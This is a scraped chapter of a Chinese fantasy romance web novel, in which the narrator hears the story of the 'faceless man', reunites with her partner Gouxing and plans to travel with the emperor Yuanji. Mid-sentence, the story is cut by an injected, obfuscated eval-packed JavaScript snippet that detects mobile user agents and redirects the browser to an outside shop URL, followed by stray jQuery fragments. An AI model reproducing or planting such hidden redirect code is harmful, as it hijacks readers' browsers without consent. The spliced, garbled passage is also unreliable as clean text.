文趣网 > 其他小说 > 我能躺赢,全仰仗尾巴 > 195. 第195章 “是遗憾”
    地下的“黑暗”像一匹浸透了的黑绸,沉甸甸地压在每一寸空间上。没有光,没有影,没有远近——只有移动。

    最初是水。

    地下水从四面八方渗出来,像无数条看不见的蛇在无面人身上爬。有些地方水很浅,只没过老龟的脚掌;有些地方很深,无面人能感觉到自己整个身体都浸了进去。水里有东西——细小的、滑腻的、会从皮肤上擦过的东西。他不知道那是什么,但他依旧会从自己为数不多的世界里搜索那些东西的“名称”——虫,或者鱼,或者别的什么。

    然后是石头。

    地下的石头不是一块一块的,是整片的。老龟有时走在坚硬的岩层上,龟壳与石头摩擦的声音无比刺耳;有时穿过碎石带,那些锋利的边缘会一遍遍划过无面人已没有知觉的皮肤。无面人能感觉到自己被割开,然后又愈合,再被割开,再愈合。那些碎石的尖角嵌进他的肉里,成了他身体的一部分。

    最后是泥土。

    无面人被埋进去,又被老龟拖出来,再被埋进去。土里有根,有虫,有他不知道名字的东西。有一次,一根细长的根须从他的嘴缝里钻进去,在他体内生长了一小段,然后被他的身体“愈合”时包裹进去,成了他的一部分。他能感觉到那根须在他体内微微搏动,像一根多余的血脉,替他活着。

    无面人应该是知道的——知道自己这么久没有死是不正常的。他知道黑暗之中、寂静的地下深处,有什么东西一直在跟着他、看着他。

    不是人类的目光。是更沉、更冷、更纯粹的注视。那东西没有靠近,只是跟着,跟着他们走了很久很久,从那个四季如春的天翮城,沿着地下水脉,顺着洱水,一直走到一个长满苦柑的地方。

    “然后呢?”我见十身停了下来,赶忙追问,又忍不住瞥了一眼渊寂,“面条人最后死了么?你一路跟着他们——是因为好奇?”

    “……面条人?”十身眯起眼睛,继而大笑起来,“帝君,照夜给你起了昵称——哈哈哈,诶,还挺贴切。”

    我顿时红了脸,嘟囔道,“没有贬义,只是觉得‘无面人’听上去像是什么戏话本里的大反派一样,‘面条人’听上去就温和多了。”

    渊寂只是淡淡一笑,侧目瞥我一眼。那目光里没有恼意,反而带着一丝说不清道不明的东西。他问,“你听了这个故事后是什么感觉?怜悯?羞耻?悲伤——又或者,觉得有趣?”

    风太冷了。我下意识往渊寂肩后躲了躲。

    我心中荡漾起一股难以名状的情绪,像水面上一圈圈散开的涟漪,“是遗憾。”

    十身眨眨眼,显得有些困惑,“遗憾?”

    我顿了顿,继续道,“嗯。若是我阿爹捡到面条人——不会把他藏在地下。多晒太阳对骨头好,这可是常识。”

    渊寂似是一怔。

    他侧过身来注视着我,那双人工凿出来负责观察世间万物的眼睛里,沉淀着一丝惊诧、一丝困惑,甚至一丝不可描述的喜悦。那些情绪极快地在他眼底闪过,像流星划过夜空,转瞬即逝。很快,它们便融入了冷风中,让人怀疑——那一刹那,从未存在过。

    就如无面人的故事一样。

    到达刃柱城时,已是一月中旬。期间又下了一场大雪,码头边凛冽的风几乎要将前往映山都的百姓们卷入冰冷的长烬海中淹没。执墨带兵来接我,场面不宜过分铺张——当然,比起我,再见“柑洱”先生对他来说才是真正的惊喜。

    有没有搞错?这重逢竟差点叫执墨落泪。我白眼都快翻上了天——这青石沟的老五都没正眼瞧我一下,目光全黏在渊寂身上。

    反倒是观察了半天的十身凑到我耳边,低声解释,柑洱先生之名可传扬三界,他的学生比苦柑林里的柑子还多。

    一路有烛护航,海上航道里唯有我们乘坐的楼船行驶得飞快。执墨反倒嫌时间短暂,他有许多话想对渊寂讲,像个学到了本事、终于有机会向老师展示的优秀学生,滔滔不绝地说着这些年来的见闻和心得。

    经过两天的观察,我最大的发现是——执墨并不知道眼前的柑洱先生,便是当今仙帝帝君。

    回到映山都时,正是午后。

    阳光穿过抱婴椿的枝叶,洒下一地碎金。我狂奔到那棵巨树下,终于见到了守在金色胎果旁的男人。

    感应到我的到来,钩星轻巧地从枝头跃下,衣袂翻飞如风。他一把将我接到怀里,狠狠转了三圈。我贴着他的胸膛认真听了片刻——熟悉的心跳。

    我仰起脸问道,“小青在吗?”

    男人绽开灿烂的微笑,眉眼弯弯,“嗯,在。”

    “钩星在吗?”

    “嗯,在。”

    我踮起脚,在钩星嘴唇上落下一吻。他则轻轻托起我的屁股,将我往上颠了颠,在我肩窝里蹭蹭,声音闷闷,带着笑意,“轮到我问了——舒岸在吗?”

    “在,一直都在。”

    “那尾巴呢?”

    “在,只不过在睡觉。”我拍拍胸口那团软塌塌的光,他一动不动,像一块被太阳晒化了的糖。

    钩星抬起眼,望向那个负手慢慢走近、正仰头注视着巨大椿树的渊寂,目光沉静如水,声音轻得只有我能听见,“嗯,我知道——渊寂节制了你的仙力。”

    我不动声色地贴在钩星耳郭旁,借着吻他耳垂的机会,低声道,“要学会忍耐。我们需要盟友——比起将敌人推到另一个敌人身边,我们要做的是分化他们。”

    钩星浮起一丝笑意,那笑意从嘴角蔓延到眼底,像春天的冰面下涌动的暗流。他低声应着,语气里带着几分由衷的赞叹,“缔命大人谋略过人——我赞同。”

    作为曾向柑洱先生学习过不少治国技巧的魔皇陛下,钩星拿出了待客的最高礼节,礼待了眼前这对抱婴椿不怀好意的保育员一。这并非出于礼貌或者畏惧,反而是对自身力量的笃信——钩星已变得足够强大。他有足够的能力,保护这枚金色的胎果安然落地。

    趁着魔皇和仙帝寒暄时,十身与我好奇地爬上树,听了听金色胎果里的动静。他忽闪着那双大眼睛,里面透着一丝惊异——那胎果深处传来的,是微弱得几乎若有若无的心跳声,一下,又一下,宣示着生命最庄严的特征。

    而尘蚴这样的生物,是没有心跳的。

    “别打歪主意。”我警惕地盯着十身,“你们别想再杀死小初。”

    十身抚摸着胎果柔软的果壳,笑道,“别急,这一路我们还有很多时间讲故事。或者我给你悄悄透露一点前情提要——太初僊其实死于保育员二之手,一击即中。照夜,强大如那位最初的仙人,也没有能力对抗我们。所以你大可放心,帝君只是顺路来看看这金色的胎果。”

    我一愣,立刻意识到什么,“你们这趟出门,是来看胎果的?!”

    “是散步。”十身眨眨眼,语气轻快得像在说一件再平常不过的事,“帝君喜欢出门,你是知道的。”

    我突然有种被人耍了的感觉,便在这群虫子耳畔咆哮起来,“我不知道!可恶,你们肯定有阴谋,你们想害死抱婴椿的事儿我都知道了!警告你们,休想得逞!”

    十身揉揉耳朵,被我的嗓门震得缩了缩脖子,却依旧笑嘻嘻的,“铲除威胁是为了生存——毕竟灵木是我们天然的敌人。”

    “那你们为何不铲除我?”

    “……干嘛明知故问?”十身撇撇嘴,轻轻敲了下我的脑门,望向树下与钩星

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779934|204291||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    交谈的渊寂,声音放低了几分,“你心里知道答案,照夜。帝君曾说,人类是含蓄且懂得伪装的生物。在我看来这种行为低效且无意义,但依旧值得模仿学习——这叫什么来着,叫——神秘感?”

    “啊?你学点正经东西吧!”

    “别急嘛。”十身晃晃双腿,语气里带着一丝委屈,“都怪宏音,他不让我长大,我便要花更长的时间来学习。五零五世界对我们而言,仍旧充满难以理解的东西。但帝君总是叫我定下心来,慢慢去观察、接受——他一路也是这样过来的,不是么。”

    我摆摆手,抱住金色胎果听着里面混沌的水声,小声嘟囔道,“你和渊寂现在最该学的,是铲除保育员二的一万种理由,或者听命于照夜大人的一百种姿势。”

    “欺压我就算了。”十身放声大笑,拽拽我的裤脚,“你是魔皇的缔命,又不是帝君的天妃——你凭什么欺压帝君?帝君只怕老婆,不怕小八。”

    我一想起胎果里的是小初的煌木人格,心情就不美了。

    树下,钩星应付起渊寂来游刃有余。他亦望着我,眼中的深沉又多了几分。这也让我的心渐渐悬了起来。

    我们好像都知道——这颗金色胎果,快要落地了。

    我们,快要分别了。

    这一晚,我和钩星本该缠绵到天亮,却莫名有些生疏。钩星甩了甩软成一滩的尾巴,眉间凝着忧色。他重新捏造了青莲瓶,轻轻将尾巴倒了进去,扎紧系口。我趴在他宽阔的背上,手贴着那再熟悉不过的心跳,细细感受着。

    窗外,映山都的冬夜寒风呼啸。虽未落雪,天地间却凝着一抹浓稠的冷色。这个时节,恰好是雪星铃开花的季节——一串串小白花坠在栖光殿各处,风过时发出泠泠轻响,像碎冰即将融化。

    “所以,你决定跟着渊寂走?”听完我的打算,钩星将我拉到身前,环住我的腰身,眼中流露出一丝哀怨,“我突然理解了当初你不能随穆青同去灵璧城时的心情——各有使命,并不能随心所欲在一起,哪怕离别伴随着心痛与懊悔。”

    说实话,我吃惊之余,更多是难过。这个瞬间我终于可以再次确信,穆青和钩星确实共存了,他们的记忆在慢慢混淆。

    “眼下我们对膣藟的了解还停留在表面。跟着渊寂,是了解他们的最佳方式。”

    钩星沉沉一叹,吻向我的嘴唇,“缔命大人,那你要早点回家。要记得,我还在等你。”

    “这回不需要我向你证明,我能独自出门么?”

    温柔而密密麻麻的吻中,夹杂着钩星模糊不清的话语,“除非渊寂还想杀你。但我知道,他不会了。照夜,也许你不信——这是个复杂到无法定义,却又简单透明的敌人——你能感受么?他身上有……深深的疲惫。他或许已认定,咱们所在的这个世界,即将走向加速衰竭,直至彻底毁灭的命运。”

    我知道钩星不想我再离开映山都。可现实情况却不允许——在与渊寂决一死战之前,我们得暂时作为“共犯”,一同解决保育员二。

    除此以外,人界的乱象更牵动人心。

    我睡了两天,彻底休整好。这天正午,我还窝在被子里赖床,便听到一阵低沉而悠远的声音如古钟被撞响,震得耳膜都在发颤。

    我赤脚跑到殿外,只见空中——穹顶开裂。

    那裂缝不是撕开的,是从内部“涨”开的——像有什么东西在那层薄膜之后膨胀、挣扎、试图破壳而出。天光在这一刻凝滞,飞鸟悬停,风也屏住了呼吸。

    然后,裂缝被撑开了。

    十身的虚象从裂缝中“流”了出来——像墨汁滴入清水,像烟雾渗入孔隙。虚象的边缘不断剥落,剥落的光点在坠落中凝聚成轮廓。